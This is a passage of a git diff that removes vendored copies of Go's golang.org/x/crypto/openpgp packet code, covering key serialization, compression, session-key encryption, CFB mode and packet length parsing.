e.Subkeys { - err = subkey.PrivateKey.Serialize(w) - if err != nil { - return - } - err = subkey.Sig.SignKey(subkey.PublicKey, e.PrivateKey, config) - if err != nil { - return - } - err = subkey.Sig.Serialize(w) - if err != nil { - return - } - } - return nil -} - -// Serialize writes the public part of the given Entity to w, including -// signatures from other entities. No private key material will be output. -func (e *Entity) Serialize(w io.Writer) error { - err := e.PrimaryKey.Serialize(w) - if err != nil { - return err - } - for _, ident := range e.Identities { - err = ident.UserId.Serialize(w) - if err != nil { - return err - } - err = ident.SelfSignature.Serialize(w) - if err != nil { - return err - } - for _, sig := range ident.Signatures { - err = sig.Serialize(w) - if err != nil { - return err - } - } - } - for _, subkey := range e.Subkeys { - err = subkey.PublicKey.Serialize(w) - if err != nil { - return err - } - err = subkey.Sig.Serialize(w) - if err != nil { - return err - } - } - return nil -} - -// SignIdentity adds a signature to e, from signer, attesting that identity is -// associated with e. The provided identity must already be an element of -// e.Identities and the private key of signer must have been decrypted if -// necessary. -// If config is nil, sensible defaults will be used. -func (e *Entity) SignIdentity(identity string, signer *Entity, config *packet.Config) error { - if signer.PrivateKey == nil { - return errors.InvalidArgumentError("signing Entity must have a private key") - } - if signer.PrivateKey.Encrypted { - return errors.InvalidArgumentError("signing Entity's private key must be decrypted") - } - ident, ok := e.Identities[identity] - if !ok { - return errors.InvalidArgumentError("given identity string not found in Entity") - } - - sig := &packet.Signature{ - SigType: packet.SigTypeGenericCert, - PubKeyAlgo: signer.PrivateKey.PubKeyAlgo, - Hash: config.Hash(), - CreationTime: config.Now(), - IssuerKeyId: &signer.PrivateKey.KeyId, - } - if err := sig.SignUserId(identity, e.PrimaryKey, signer.PrivateKey, config); err != nil { - return err - } - ident.Signatures = append(ident.Signatures, sig) - return nil -} diff --git a/vendor/golang.org/x/crypto/openpgp/packet/compressed.go b/vendor/golang.org/x/crypto/openpgp/packet/compressed.go deleted file mode 100644 index e8f0b5caa7..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/packet/compressed.go +++ /dev/null @@ -1,123 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package packet - -import ( - "compress/bzip2" - "compress/flate" - "compress/zlib" - "golang.org/x/crypto/openpgp/errors" - "io" - "strconv" -) - -// Compressed represents a compressed OpenPGP packet. The decompressed contents -// will contain more OpenPGP packets. See RFC 4880, section 5.6. -type Compressed struct { - Body io.Reader -} - -const ( - NoCompression = flate.NoCompression - BestSpeed = flate.BestSpeed - BestCompression = flate.BestCompression - DefaultCompression = flate.DefaultCompression -) - -// CompressionConfig contains compressor configuration settings. -type CompressionConfig struct { - // Level is the compression level to use. It must be set to - // between -1 and 9, with -1 causing the compressor to use the - // default compression level, 0 causing the compressor to use - // no compression and 1 to 9 representing increasing (better, - // slower) compression levels. If Level is less than -1 or - // more then 9, a non-nil error will be returned during - // encryption. See the constants above for convenient common - // settings for Level. - Level int -} - -func (c *Compressed) parse(r io.Reader) error { - var buf [1]byte - _, err := readFull(r, buf[:]) - if err != nil { - return err - } - - switch buf[0] { - case 1: - c.Body = flate.NewReader(r) - case 2: - c.Body, err = zlib.NewReader(r) - case 3: - c.Body = bzip2.NewReader(r) - default: - err = errors.UnsupportedError("unknown compression algorithm: " + strconv.Itoa(int(buf[0]))) - } - - return err -} - -// compressedWriterCloser represents the serialized compression stream -// header and the compressor. Its Close() method ensures that both the -// compressor and serialized stream header are closed. Its Write() -// method writes to the compressor. -type compressedWriteCloser struct { - sh io.Closer // Stream Header - c io.WriteCloser // Compressor -} - -func (cwc compressedWriteCloser) Write(p []byte) (int, error) { - return cwc.c.Write(p) -} - -func (cwc compressedWriteCloser) Close() (err error) { - err = cwc.c.Close() - if err != nil { - return err - } - - return cwc.sh.Close() -} - -// SerializeCompressed serializes a compressed data packet to w and -// returns a WriteCloser to which the literal data packets themselves -// can be written and which MUST be closed on completion. If cc is -// nil, sensible defaults will be used to configure the compression -// algorithm. -func SerializeCompressed(w io.WriteCloser, algo CompressionAlgo, cc *CompressionConfig) (literaldata io.WriteCloser, err error) { - compressed, err := serializeStreamHeader(w, packetTypeCompressed) - if err != nil { - return - } - - _, err = compressed.Write([]byte{uint8(algo)}) - if err != nil { - return - } - - level := DefaultCompression - if cc != nil { - level = cc.Level - } - - var compressor io.WriteCloser - switch algo { - case CompressionZIP: - compressor, err = flate.NewWriter(compressed, level) - case CompressionZLIB: - compressor, err = zlib.NewWriterLevel(compressed, level) - default: - s := strconv.Itoa(int(algo)) - err = errors.UnsupportedError("Unsupported compression algorithm: " + s) - } - if err != nil { - return - } - - literaldata = compressedWriteCloser{compressed, compressor} - - return -} diff --git a/vendor/golang.org/x/crypto/openpgp/packet/config.go b/vendor/golang.org/x/crypto/openpgp/packet/config.go deleted file mode 100644 index c76eecc963..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/packet/config.go +++ /dev/null @@ -1,91 +0,0 @@ -// Copyright 2012 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package packet - -import ( - "crypto" - "crypto/rand" - "io" - "time" -) - -// Config collects a number of parameters along with sensible defaults. -// A nil *Config is valid and results in all default values. -type Config struct { - // Rand provides the source of entropy. - // If nil, the crypto/rand Reader is used. - Rand io.Reader - // DefaultHash is the default hash function to be used. - // If zero, SHA-256 is used. - DefaultHash crypto.Hash - // DefaultCipher is the cipher to be used. - // If zero, AES-128 is used. - DefaultCipher CipherFunction - // Time returns the current time as the number of seconds since the - // epoch. If Time is nil, time.Now is used. - Time func() time.Time - // DefaultCompressionAlgo is the compression algorithm to be - // applied to the plaintext before encryption. If zero, no - // compression is done. - DefaultCompressionAlgo CompressionAlgo - // CompressionConfig configures the compression settings. - CompressionConfig *CompressionConfig - // S2KCount is only used for symmetric encryption. It - // determines the strength of the passphrase stretching when - // the said passphrase is hashed to produce a key. S2KCount - // should be between 1024 and 65011712, inclusive. If Config - // is nil or S2KCount is 0, the value 65536 used. Not all - // values in the above range can be represented. S2KCount will - // be rounded up to the next representable value if it cannot - // be encoded exactly. When set, it is strongly encrouraged to - // use a value that is at least 65536. See RFC 4880 Section - // 3.7.1.3. - S2KCount int - // RSABits is the number of bits in new RSA keys made with NewEntity. - // If zero, then 2048 bit keys are created. - RSABits int -} - -func (c *Config) Random() io.Reader { - if c == nil || c.Rand == nil { - return rand.Reader - } - return c.Rand -} - -func (c *Config) Hash() crypto.Hash { - if c == nil || uint(c.DefaultHash) == 0 { - return crypto.SHA256 - } - return c.DefaultHash -} - -func (c *Config) Cipher() CipherFunction { - if c == nil || uint8(c.DefaultCipher) == 0 { - return CipherAES128 - } - return c.DefaultCipher -} - -func (c *Config) Now() time.Time { - if c == nil || c.Time == nil { - return time.Now() - } - return c.Time() -} - -func (c *Config) Compression() CompressionAlgo { - if c == nil { - return CompressionNone - } - return c.DefaultCompressionAlgo -} - -func (c *Config) PasswordHashIterations() int { - if c == nil || c.S2KCount == 0 { - return 0 - } - return c.S2KCount -} diff --git a/vendor/golang.org/x/crypto/openpgp/packet/encrypted_key.go b/vendor/golang.org/x/crypto/openpgp/packet/encrypted_key.go deleted file mode 100644 index 6d7639722c..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/packet/encrypted_key.go +++ /dev/null @@ -1,208 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package packet - -import ( - "crypto" - "crypto/rsa" - "encoding/binary" - "io" - "math/big" - "strconv" - - "golang.org/x/crypto/openpgp/elgamal" - "golang.org/x/crypto/openpgp/errors" -) - -const encryptedKeyVersion = 3 - -// EncryptedKey represents a public-key encrypted session key. See RFC 4880, -// section 5.1. -type EncryptedKey struct { - KeyId uint64 - Algo PublicKeyAlgorithm - CipherFunc CipherFunction // only valid after a successful Decrypt - Key []byte // only valid after a successful Decrypt - - encryptedMPI1, encryptedMPI2 parsedMPI -} - -func (e *EncryptedKey) parse(r io.Reader) (err error) { - var buf [10]byte - _, err = readFull(r, buf[:]) - if err != nil { - return - } - if buf[0] != encryptedKeyVersion { - return errors.UnsupportedError("unknown EncryptedKey version " + strconv.Itoa(int(buf[0]))) - } - e.KeyId = binary.BigEndian.Uint64(buf[1:9]) - e.Algo = PublicKeyAlgorithm(buf[9]) - switch e.Algo { - case PubKeyAlgoRSA, PubKeyAlgoRSAEncryptOnly: - e.encryptedMPI1.bytes, e.encryptedMPI1.bitLength, err = readMPI(r) - if err != nil { - return - } - case PubKeyAlgoElGamal: - e.encryptedMPI1.bytes, e.encryptedMPI1.bitLength, err = readMPI(r) - if err != nil { - return - } - e.encryptedMPI2.bytes, e.encryptedMPI2.bitLength, err = readMPI(r) - if err != nil { - return - } - } - _, err = consumeAll(r) - return -} - -func checksumKeyMaterial(key []byte) uint16 { - var checksum uint16 - for _, v := range key { - checksum += uint16(v) - } - return checksum -} - -// Decrypt decrypts an encrypted session key with the given private key. The -// private key must have been decrypted first. -// If config is nil, sensible defaults will be used. -func (e *EncryptedKey) Decrypt(priv *PrivateKey, config *Config) error { - var err error - var b []byte - - // TODO(agl): use session key decryption routines here to avoid - // padding oracle attacks. - switch priv.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSAEncryptOnly: - // Supports both *rsa.PrivateKey and crypto.Decrypter - k := priv.PrivateKey.(crypto.Decrypter) - b, err = k.Decrypt(config.Random(), padToKeySize(k.Public().(*rsa.PublicKey), e.encryptedMPI1.bytes), nil) - case PubKeyAlgoElGamal: - c1 := new(big.Int).SetBytes(e.encryptedMPI1.bytes) - c2 := new(big.Int).SetBytes(e.encryptedMPI2.bytes) - b, err = elgamal.Decrypt(priv.PrivateKey.(*elgamal.PrivateKey), c1, c2) - default: - err = errors.InvalidArgumentError("cannot decrypted encrypted session key with private key of type " + strconv.Itoa(int(priv.PubKeyAlgo))) - } - - if err != nil { - return err - } - - e.CipherFunc = CipherFunction(b[0]) - e.Key = b[1 : len(b)-2] - expectedChecksum := uint16(b[len(b)-2])<<8 | uint16(b[len(b)-1]) - checksum := checksumKeyMaterial(e.Key) - if checksum != expectedChecksum { - return errors.StructuralError("EncryptedKey checksum incorrect") - } - - return nil -} - -// Serialize writes the encrypted key packet, e, to w. -func (e *EncryptedKey) Serialize(w io.Writer) error { - var mpiLen int - switch e.Algo { - case PubKeyAlgoRSA, PubKeyAlgoRSAEncryptOnly: - mpiLen = 2 + len(e.encryptedMPI1.bytes) - case PubKeyAlgoElGamal: - mpiLen = 2 + len(e.encryptedMPI1.bytes) + 2 + len(e.encryptedMPI2.bytes) - default: - return errors.InvalidArgumentError("don't know how to serialize encrypted key type " + strconv.Itoa(int(e.Algo))) - } - - serializeHeader(w, packetTypeEncryptedKey, 1 /* version */ +8 /* key id */ +1 /* algo */ +mpiLen) - - w.Write([]byte{encryptedKeyVersion}) - binary.Write(w, binary.BigEndian, e.KeyId) - w.Write([]byte{byte(e.Algo)}) - - switch e.Algo { - case PubKeyAlgoRSA, PubKeyAlgoRSAEncryptOnly: - writeMPIs(w, e.encryptedMPI1) - case PubKeyAlgoElGamal: - writeMPIs(w, e.encryptedMPI1, e.encryptedMPI2) - default: - panic("internal error") - } - - return nil -} - -// SerializeEncryptedKey serializes an encrypted key packet to w that contains -// key, encrypted to pub. -// If config is nil, sensible defaults will be used. -func SerializeEncryptedKey(w io.Writer, pub *PublicKey, cipherFunc CipherFunction, key []byte, config *Config) error { - var buf [10]byte - buf[0] = encryptedKeyVersion - binary.BigEndian.PutUint64(buf[1:9], pub.KeyId) - buf[9] = byte(pub.PubKeyAlgo) - - keyBlock := make([]byte, 1 /* cipher type */ +len(key)+2 /* checksum */) - keyBlock[0] = byte(cipherFunc) - copy(keyBlock[1:], key) - checksum := checksumKeyMaterial(key) - keyBlock[1+len(key)] = byte(checksum >> 8) - keyBlock[1+len(key)+1] = byte(checksum) - - switch pub.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSAEncryptOnly: - return serializeEncryptedKeyRSA(w, config.Random(), buf, pub.PublicKey.(*rsa.PublicKey), keyBlock) - case PubKeyAlgoElGamal: - return serializeEncryptedKeyElGamal(w, config.Random(), buf, pub.PublicKey.(*elgamal.PublicKey), keyBlock) - case PubKeyAlgoDSA, PubKeyAlgoRSASignOnly: - return errors.InvalidArgumentError("cannot encrypt to public key of type " + strconv.Itoa(int(pub.PubKeyAlgo))) - } - - return errors.UnsupportedError("encrypting a key to public key of type " + strconv.Itoa(int(pub.PubKeyAlgo))) -} - -func serializeEncryptedKeyRSA(w io.Writer, rand io.Reader, header [10]byte, pub *rsa.PublicKey, keyBlock []byte) error { - cipherText, err := rsa.EncryptPKCS1v15(rand, pub, keyBlock) - if err != nil { - return errors.InvalidArgumentError("RSA encryption failed: " + err.Error()) - } - - packetLen := 10 /* header length */ + 2 /* mpi size */ + len(cipherText) - - err = serializeHeader(w, packetTypeEncryptedKey, packetLen) - if err != nil { - return err - } - _, err = w.Write(header[:]) - if err != nil { - return err - } - return writeMPI(w, 8*uint16(len(cipherText)), cipherText) -} - -func serializeEncryptedKeyElGamal(w io.Writer, rand io.Reader, header [10]byte, pub *elgamal.PublicKey, keyBlock []byte) error { - c1, c2, err := elgamal.Encrypt(rand, pub, keyBlock) - if err != nil { - return errors.InvalidArgumentError("ElGamal encryption failed: " + err.Error()) - } - - packetLen := 10 /* header length */ - packetLen += 2 /* mpi size */ + (c1.BitLen()+7)/8 - packetLen += 2 /* mpi size */ + (c2.BitLen()+7)/8 - - err = serializeHeader(w, packetTypeEncryptedKey, packetLen) - if err != nil { - return err - } - _, err = w.Write(header[:]) - if err != nil { - return err - } - err = writeBig(w, c1) - if err != nil { - return err - } - return writeBig(w, c2) -} diff --git a/vendor/golang.org/x/crypto/openpgp/packet/literal.go b/vendor/golang.org/x/crypto/openpgp/packet/literal.go deleted file mode 100644 index 1a9ec6e51e..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/packet/literal.go +++ /dev/null @@ -1,89 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package packet - -import ( - "encoding/binary" - "io" -) - -// LiteralData represents an encrypted file. See RFC 4880, section 5.9. -type LiteralData struct { - IsBinary bool - FileName string - Time uint32 // Unix epoch time. Either creation time or modification time. 0 means undefined. - Body io.Reader -} - -// ForEyesOnly returns whether the contents of the LiteralData have been marked -// as especially sensitive. -func (l *LiteralData) ForEyesOnly() bool { - return l.FileName == "_CONSOLE" -} - -func (l *LiteralData) parse(r io.Reader) (err error) { - var buf [256]byte - - _, err = readFull(r, buf[:2]) - if err != nil { - return - } - - l.IsBinary = buf[0] == 'b' - fileNameLen := int(buf[1]) - - _, err = readFull(r, buf[:fileNameLen]) - if err != nil { - return - } - - l.FileName = string(buf[:fileNameLen]) - - _, err = readFull(r, buf[:4]) - if err != nil { - return - } - - l.Time = binary.BigEndian.Uint32(buf[:4]) - l.Body = r - return -} - -// SerializeLiteral serializes a literal data packet to w and returns a -// WriteCloser to which the data itself can be written and which MUST be closed -// on completion. The fileName is truncated to 255 bytes. -func SerializeLiteral(w io.WriteCloser, isBinary bool, fileName string, time uint32) (plaintext io.WriteCloser, err error) { - var buf [4]byte - buf[0] = 't' - if isBinary { - buf[0] = 'b' - } - if len(fileName) > 255 { - fileName = fileName[:255] - } - buf[1] = byte(len(fileName)) - - inner, err := serializeStreamHeader(w, packetTypeLiteralData) - if err != nil { - return - } - - _, err = inner.Write(buf[:2]) - if err != nil { - return - } - _, err = inner.Write([]byte(fileName)) - if err != nil { - return - } - binary.BigEndian.PutUint32(buf[:], time) - _, err = inner.Write(buf[:]) - if err != nil { - return - } - - plaintext = inner - return -} diff --git a/vendor/golang.org/x/crypto/openpgp/packet/ocfb.go b/vendor/golang.org/x/crypto/openpgp/packet/ocfb.go deleted file mode 100644 index ce2a33a547..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/packet/ocfb.go +++ /dev/null @@ -1,143 +0,0 @@ -// Copyright 2010 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// OpenPGP CFB Mode. http://tools.ietf.org/html/rfc4880#section-13.9 - -package packet - -import ( - "crypto/cipher" -) - -type ocfbEncrypter struct { - b cipher.Block - fre []byte - outUsed int -} - -// An OCFBResyncOption determines if the "resynchronization step" of OCFB is -// performed. -type OCFBResyncOption bool - -const ( - OCFBResync OCFBResyncOption = true - OCFBNoResync OCFBResyncOption = false -) - -// NewOCFBEncrypter returns a cipher.Stream which encrypts data with OpenPGP's -// cipher feedback mode using the given cipher.Block, and an initial amount of -// ciphertext. randData must be random bytes and be the same length as the -// cipher.Block's block size. Resync determines if the "resynchronization step" -// from RFC 4880, 13.9 step 7 is performed. Different parts of OpenPGP vary on -// this point. -func NewOCFBEncrypter(block cipher.Block, randData []byte, resync OCFBResyncOption) (cipher.Stream, []byte) { - blockSize := block.BlockSize() - if len(randData) != blockSize { - return nil, nil - } - - x := &ocfbEncrypter{ - b: block, - fre: make([]byte, blockSize), - outUsed: 0, - } - prefix := make([]byte, blockSize+2) - - block.Encrypt(x.fre, x.fre) - for i := 0; i < blockSize; i++ { - prefix[i] = randData[i] ^ x.fre[i] - } - - block.Encrypt(x.fre, prefix[:blockSize]) - prefix[blockSize] = x.fre[0] ^ randData[blockSize-2] - prefix[blockSize+1] = x.fre[1] ^ randData[blockSize-1] - - if resync { - block.Encrypt(x.fre, prefix[2:]) - } else { - x.fre[0] = prefix[blockSize] - x.fre[1] = prefix[blockSize+1] - x.outUsed = 2 - } - return x, prefix -} - -func (x *ocfbEncrypter) XORKeyStream(dst, src []byte) { - for i := 0; i < len(src); i++ { - if x.outUsed == len(x.fre) { - x.b.Encrypt(x.fre, x.fre) - x.outUsed = 0 - } - - x.fre[x.outUsed] ^= src[i] - dst[i] = x.fre[x.outUsed] - x.outUsed++ - } -} - -type ocfbDecrypter struct { - b cipher.Block - fre []byte - outUsed int -} - -// NewOCFBDecrypter returns a cipher.Stream which decrypts data with OpenPGP's -// cipher feedback mode using the given cipher.Block. Prefix must be the first -// blockSize + 2 bytes of the ciphertext, where blockSize is the cipher.Block's -// block size. If an incorrect key is detected then nil is returned. On -// successful exit, blockSize+2 bytes of decrypted data are written into -// prefix. Resync determines if the "resynchronization step" from RFC 4880, -// 13.9 step 7 is performed. Different parts of OpenPGP vary on this point. -func NewOCFBDecrypter(block cipher.Block, prefix []byte, resync OCFBResyncOption) cipher.Stream { - blockSize := block.BlockSize() - if len(prefix) != blockSize+2 { - return nil - } - - x := &ocfbDecrypter{ - b: block, - fre: make([]byte, blockSize), - outUsed: 0, - } - prefixCopy := make([]byte, len(prefix)) - copy(prefixCopy, prefix) - - block.Encrypt(x.fre, x.fre) - for i := 0; i < blockSize; i++ { - prefixCopy[i] ^= x.fre[i] - } - - block.Encrypt(x.fre, prefix[:blockSize]) - prefixCopy[blockSize] ^= x.fre[0] - prefixCopy[blockSize+1] ^= x.fre[1] - - if prefixCopy[blockSize-2] != prefixCopy[blockSize] || - prefixCopy[blockSize-1] != prefixCopy[blockSize+1] { - return nil - } - - if resync { - block.Encrypt(x.fre, prefix[2:]) - } else { - x.fre[0] = prefix[blockSize] - x.fre[1] = prefix[blockSize+1] - x.outUsed = 2 - } - copy(prefix, prefixCopy) - return x -} - -func (x *ocfbDecrypter) XORKeyStream(dst, src []byte) { - for i := 0; i < len(src); i++ { - if x.outUsed == len(x.fre) { - x.b.Encrypt(x.fre, x.fre) - x.outUsed = 0 - } - - c := src[i] - dst[i] = x.fre[x.outUsed] ^ src[i] - x.fre[x.outUsed] = c - x.outUsed++ - } -} diff --git a/vendor/golang.org/x/crypto/openpgp/packet/one_pass_signature.go b/vendor/golang.org/x/crypto/openpgp/packet/one_pass_signature.go deleted file mode 100644 index 1713503395..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/packet/one_pass_signature.go +++ /dev/null @@ -1,73 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package packet - -import ( - "crypto" - "encoding/binary" - "golang.org/x/crypto/openpgp/errors" - "golang.org/x/crypto/openpgp/s2k" - "io" - "strconv" -) - -// OnePassSignature represents a one-pass signature packet. See RFC 4880, -// section 5.4. -type OnePassSignature struct { - SigType SignatureType - Hash crypto.Hash - PubKeyAlgo PublicKeyAlgorithm - KeyId uint64 - IsLast bool -} - -const onePassSignatureVersion = 3 - -func (ops *OnePassSignature) parse(r io.Reader) (err error) { - var buf [13]byte - - _, err = readFull(r, buf[:]) - if err != nil { - return - } - if buf[0] != onePassSignatureVersion { - err = errors.UnsupportedError("one-pass-signature packet version " + strconv.Itoa(int(buf[0]))) - } - - var ok bool - ops.Hash, ok = s2k.HashIdToHash(buf[2]) - if !ok { - return errors.UnsupportedError("hash function: " + strconv.Itoa(int(buf[2]))) - } - - ops.SigType = SignatureType(buf[1]) - ops.PubKeyAlgo = PublicKeyAlgorithm(buf[3]) - ops.KeyId = binary.BigEndian.Uint64(buf[4:12]) - ops.IsLast = buf[12] != 0 - return -} - -// Serialize marshals the given OnePassSignature to w. -func (ops *OnePassSignature) Serialize(w io.Writer) error { - var buf [13]byte - buf[0] = onePassSignatureVersion - buf[1] = uint8(ops.SigType) - var ok bool - buf[2], ok = s2k.HashToHashId(ops.Hash) - if !ok { - return errors.UnsupportedError("hash type: " + strconv.Itoa(int(ops.Hash))) - } - buf[3] = uint8(ops.PubKeyAlgo) - binary.BigEndian.PutUint64(buf[4:12], ops.KeyId) - if ops.IsLast { - buf[12] = 1 - } - - if err := serializeHeader(w, packetTypeOnePassSignature, len(buf)); err != nil { - return err - } - _, err := w.Write(buf[:]) - return err -} diff --git a/vendor/golang.org/x/crypto/openpgp/packet/opaque.go b/vendor/golang.org/x/crypto/openpgp/packet/opaque.go deleted file mode 100644 index 456d807f25..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/packet/opaque.go +++ /dev/null @@ -1,162 +0,0 @@ -// Copyright 2012 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package packet - -import ( - "bytes" - "io" - "io/ioutil" - - "golang.org/x/crypto/openpgp/errors" -) - -// OpaquePacket represents an OpenPGP packet as raw, unparsed data. This is -// useful for splitting and storing the original packet contents separately, -// handling unsupported packet types or accessing parts of the packet not yet -// implemented by this package. -type OpaquePacket struct { - // Packet type - Tag uint8 - // Reason why the packet was parsed opaquely - Reason error - // Binary contents of the packet data - Contents []byte -} - -func (op *OpaquePacket) parse(r io.Reader) (err error) { - op.Contents, err = ioutil.ReadAll(r) - return -} - -// Serialize marshals the packet to a writer in its original form, including -// the packet header. -func (op *OpaquePacket) Serialize(w io.Writer) (err error) { - err = serializeHeader(w, packetType(op.Tag), len(op.Contents)) - if err == nil { - _, err = w.Write(op.Contents) - } - return -} - -// Parse attempts to parse the opaque contents into a structure supported by -// this package. If the packet is not known then the result will be another -// OpaquePacket. -func (op *OpaquePacket) Parse() (p Packet, err error) { - hdr := bytes.NewBuffer(nil) - err = serializeHeader(hdr, packetType(op.Tag), len(op.Contents)) - if err != nil { - op.Reason = err - return op, err - } - p, err = Read(io.MultiReader(hdr, bytes.NewBuffer(op.Contents))) - if err != nil { - op.Reason = err - p = op - } - return -} - -// OpaqueReader reads OpaquePackets from an io.Reader. -type OpaqueReader struct { - r io.Reader -} - -func NewOpaqueReader(r io.Reader) *OpaqueReader { - return &OpaqueReader{r: r} -} - -// Read the next OpaquePacket. -func (or *OpaqueReader) Next() (op *OpaquePacket, err error) { - tag, _, contents, err := readHeader(or.r) - if err != nil { - return - } - op = &OpaquePacket{Tag: uint8(tag), Reason: err} - err = op.parse(contents) - if err != nil { - consumeAll(contents) - } - return -} - -// OpaqueSubpacket represents an unparsed OpenPGP subpacket, -// as found in signature and user attribute packets. -type OpaqueSubpacket struct { - SubType uint8 - Contents []byte -} - -// OpaqueSubpackets extracts opaque, unparsed OpenPGP subpackets from -// their byte representation. -func OpaqueSubpackets(contents []byte) (result []*OpaqueSubpacket, err error) { - var ( - subHeaderLen int - subPacket *OpaqueSubpacket - ) - for len(contents) > 0 { - subHeaderLen, subPacket, err = nextSubpacket(contents) - if err != nil { - break - } - result = append(result, subPacket) - contents = contents[subHeaderLen+len(subPacket.Contents):] - } - return -} - -func nextSubpacket(contents []byte) (subHeaderLen int, subPacket *OpaqueSubpacket, err error) { - // RFC 4880, section 5.2.3.1 - var subLen uint32 - if len(contents) < 1 { - goto Truncated - } - subPacket = &OpaqueSubpacket{} - switch { - case contents[0] < 192: - subHeaderLen = 2 // 1 length byte, 1 subtype byte - if len(contents) < subHeaderLen { - goto Truncated - } - subLen = uint32(contents[0]) - contents = contents[1:] - case contents[0] < 255: - subHeaderLen = 3 // 2 length bytes, 1 subtype - if len(contents) < subHeaderLen { - goto Truncated - } - subLen = uint32(contents[0]-192)<<8 + uint32(contents[1]) + 192 - contents = contents[2:] - default: - subHeaderLen = 6 // 5 length bytes, 1 subtype - if len(contents) < subHeaderLen { - goto Truncated - } - subLen = uint32(contents[1])<<24 | - uint32(contents[2])<<16 | - uint32(contents[3])<<8 | - uint32(contents[4]) - contents = contents[5:] - } - if subLen > uint32(len(contents)) || subLen == 0 { - goto Truncated - } - subPacket.SubType = contents[0] - subPacket.Contents = contents[1:subLen] - return -Truncated: - err = errors.StructuralError("subpacket truncated") - return -} - -func (osp *OpaqueSubpacket) Serialize(w io.Writer) (err error) { - buf := make([]byte, 6) - n := serializeSubpacketLength(buf, len(osp.Contents)+1) - buf[n] = osp.SubType - if _, err = w.Write(buf[:n+1]); err != nil { - return - } - _, err = w.Write(osp.Contents) - return -} diff --git a/vendor/golang.org/x/crypto/openpgp/packet/packet.go b/vendor/golang.org/x/crypto/openpgp/packet/packet.go deleted file mode 100644 index 9728d61d7a..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/packet/packet.go +++ /dev/null @@ -1,584 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package packet implements parsing and serialization of OpenPGP packets, as -// specified in RFC 4880. -package packet // import "golang.org/x/crypto/openpgp/packet" - -import ( - "bufio" - "crypto/aes" - "crypto/cipher" - "crypto/des" - "crypto/rsa" - "io" - "math/big" - "math/bits" - - "golang.org/x/crypto/cast5" - "golang.org/x/crypto/openpgp/errors" -) - -// readFull is the same as io.ReadFull except that reading zero bytes returns -// ErrUnexpectedEOF rather than EOF. -func readFull(r io.Reader, buf []byte) (n int, err error) { - n, err = io.ReadFull(r, buf) - if err == io.EOF { - err = io.ErrUnexpectedEOF - } - return -} - -// readLength reads an OpenPGP length from r. See RFC 4880, section 4.2.2. -func readLength(r io.Reader) (length int64, isPartial bool, err error) { - var buf [4]byte - _, err = readFull(r, buf[:1]) - if err != nil { - return - } - switch { - case buf[0] < 192: - length = int64(buf[0]) - case buf[0] < 224: - length = int64(buf[0]-192) << 8 - _, err = readFull(r, buf[0:1]) - if err != nil { - return - } - length += int64(buf[0]) + 192 - case buf[0] < 255: - length = int64(1) << (buf[0] & 0x1f) - isPartial = true - default: - _, err = readFull(r, buf[0:4]) - if err != nil { - return - } - length = int64(buf[0])<<24 | - int64(buf[1])<<16 | - int64(buf[2])<<8 | - int64(buf[3]) - } - return -} - -// partialLengthReader wraps an io.Reader and handles OpenPGP partial lengths. -// The continuation lengths are parsed and removed from the stream and EOF is -// returned at the end of the packet. See RFC 4880, section 4.2.2.4. -type partialLengthReader struct { - r io.Reader - remaining int64 - isPartial bool -} - -func (r *partialLengthReader) Read(p []byte) (n int, err error) { - for r.remaining == 0 { - if !r.isPartial { - return 0, io.EOF - } - r.remaining, r.isPartial, err = readLength(r.r) - if err != nil { - return 0, err - } - } - - toRead := int64(len(p)) - if toRead > r.remaining { - toRead = r.remaining - } - - n, err = r.r.Read(p[:int(toRead)]) - r.remaining -= int64(n) - if n < int(toRead) && err == io.EOF { - err = io.ErrUnexpectedEOF - } - return -} - -// partialLengthWriter writes a stream of data using OpenPGP partial lengths. -// See RFC 4880, section 4.2.2.4. -type partialLengthWriter struct { - w io.WriteCloser - lengthByte [1]byte - sentFirst bool - buf []byte -} - -// RFC 4880 4.2.2.4: the first partial length MUST be at least 512 octets long. -const minFirstPartialWrite = 512 - -func (w *partialLengthWriter) Write(p []byte) (n int, err error) { - off := 0 - if !w.sentFirst { - if len(w.buf) > 0 || len(p) < minFirstPartialWrite { - off = len(w.buf) - w.buf = append(w.buf, p...) - if len(w.buf) < minFirstPartialWrite { - return len(p), nil - } - p = w.buf - w.buf = nil - } - w.sentFirst = true - } - - power := uint8(30) - for len(p) > 0 { - l := 1 << power - if len(p) < l { - power = uint8(bits.Len32(uint32(len(p)))) - 1 - l = 1 << power - } - w.lengthByte[0] = 224 + power - _, err = w.w.Write(w.lengthByte[:]) - if err == nil { - var m int - m, err = w.w.Write(p[:l]) - n += m - } - if err != nil { - if n < off { - return 0, err - } - return n - off, err - } - p = p[l:] - } - return n - off, nil -} - -func (w *partialLengthWriter) Close() error { - if len(w.buf) > 0 { - // In this case we can't send a 512 byte packet. - // Just send what we have. - p := w.buf - w.sentFirst = true - w.buf = nil - if _, err := w.Write(p); err != nil { - return err - } - } - - w.lengthByte[0] = 0 - _, err := w.w.Write(w.lengthByte[:]) - if err != nil { - return err - } - return w.w.Close() -} - -// A spanReader is an io.LimitReader, but it returns ErrUnexpectedEOF if the -// underlying Reader returns EOF before the limit has been reached. -type spanReader struct { - r io.Reader - n int64 -} - -func (l *spanReader) Read(p []byte) (n int, err error) { - if 